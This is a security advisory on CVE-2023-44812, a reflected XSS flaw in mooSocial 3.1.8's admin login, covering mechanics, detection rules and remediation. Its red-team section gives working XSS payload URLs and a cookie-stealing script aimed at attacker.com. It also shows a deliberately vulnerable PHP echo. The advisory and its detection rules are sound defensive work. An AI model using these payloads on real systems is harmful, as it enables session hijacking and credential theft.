CVE-2023-44812

Executive Summary

CVE-2023-44812 is a reflected Cross-Site Scripting (XSS) vulnerability in mooSocial version 3.1.8. The flaw exists in the user login function, specifically within the admin_redirect_url parameter. An unauthenticated remote attacker can inject arbitrary JavaScript code via a crafted payload, which executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and a public proof-of-concept (PoC) is available. No official patch has been released by the vendor.

Supply Chain & Package Security

This is a PHP-based web application (mooSocial). No NPM, PyPI, Go, or Ruby packages are directly involved. The risk is limited to the application's own codebase and its dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - Victim must click a crafted link.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure.
• Integrity (I): Low (L) - Limited data modification.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the public availability of a PoC and the lack of a patch increase the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the admin_redirect_url parameter of the login page (/admin/home/login). The application fails to properly sanitize or encode user input before reflecting it in the HTTP response. An attacker can craft a URL containing a malicious script, and when a victim (typically an administrator) clicks the link, the script executes in their browser.

The PoC URL uses base64 encoding and HTML injection:

/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest

The decoded admin_redirect_url value contains "><script>alert(document.domain)</script>test, which breaks out of the HTML attribute context and injects a script tag.

Vulnerable vs. Patched Code

Vulnerable Code (mooSocial 3.1.8): The login function likely echoes the admin_redirect_url parameter without proper encoding.

// Vulnerable example
$redirect_url = $_GET['admin_redirect_url'];
echo '<input type="hidden" name="redirect" value="' . $redirect_url . '">';

Patched Code (Hypothetical): The fix would involve HTML entity encoding the output.

// Patched example
$redirect_url = $_GET['admin_redirect_url'];
echo '<input type="hidden" name="redirect" value="' . htmlspecialchars($redirect_url, ENT_QUOTES, 'UTF-8') . '">';

No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Setup: Deploy mooSocial v3.1.8 in a controlled lab environment.
2. Craft Payload: Use the provided PoC URL or create a custom one.

   http://target/admin/home/login?admin_redirect_url=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
   

3. Deliver: Send the crafted link to an authenticated admin user via email, social engineering, or other means.
4. Execute: When the admin clicks the link, the script executes. For a more impactful attack, use a payload that steals session cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

Blue Team (Detection & Response)

1. Monitor Logs: Look for unusual admin_redirect_url parameters containing <script>, %3Cscript%3E, or base64-encoded payloads.
2. Web Application Firewall (WAF): Deploy rules to block requests with XSS patterns in the admin_redirect_url parameter.
3. User Education: Train administrators to be cautious of unsolicited links, especially those containing login URLs.
4. Input Validation: Implement server-side validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /admin/home/login with a non-empty admin_redirect_url parameter.
  • Requests containing <script>, %3Cscript%3E, or base64-encoded strings in the admin_redirect_url parameter.
  • Outbound connections from the server to unknown IPs/domains (exfiltration).
• Host IOCs:
  • Web server logs showing the above patterns.
  • Unexpected JavaScript execution in the browser of an admin user.
• File IOCs:
  • No specific file-based IOCs for this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2023_44812_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2023-44812 in mooSocial"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-44812"
    strings:
        $xss_pattern1 = /admin_redirect_url=.*%3Cscript%3E/i
        $xss_pattern2 = /admin_redirect_url=.*<script>/i
        $xss_pattern3 = /admin_redirect_url=.*%22%3E%3C/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-44812 - mooSocial XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against mooSocial admin login
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'admin_redirect_url='
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of redirect with encoded characters (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-44812 - mooSocial XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/home/login"; http_uri; content:"admin_redirect_url="; http_uri; pcre:"/admin_redirect_url=.*(<script|%3Cscript)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-44812

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A cross-site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code by sending a crafted payload to the admin_redirect_url parameter of the user login function.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's browser session.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a version that addresses the XSS vulnerability.
  reference:
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/ahrixia/CVE-2023-44812
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44812
    cwe-id: CWE-79
    epss-score: 0.49696
    epss-percentile: 0.97823
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: moosocial
    product: moosocial
    shodan-query: "http.favicon.hash:\"702863115\""
    fofa-query: "icon_hash=\"702863115\""
  tags: cve2023,cve,moosocial,xss,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "mooSocial"
        internal: true
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/home/login?admin_redirect_url=aHR0cDovL2xvY2FsaG9zdC9tb29zb2NpYWwvYWRtaW4vcGx1Z2lucw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and

Remediation & Mitigation

• Immediate: Implement a Web Application Firewall (WAF) rule to block requests containing <script> or %3Cscript%3E in the admin_redirect_url parameter.
• Short-term: Manually patch the vulnerable code by applying htmlspecialchars() or equivalent output encoding to the admin_redirect_url parameter before rendering.
• Long-term: Upgrade to a patched version of mooSocial if/when the vendor releases one. Conduct a full security audit of the application.
• Compensating Controls: Enforce strict Content Security Policy (CSP) headers to mitigate the impact of XSS. Use HttpOnly and Secure flags for session cookies.

Valters IT

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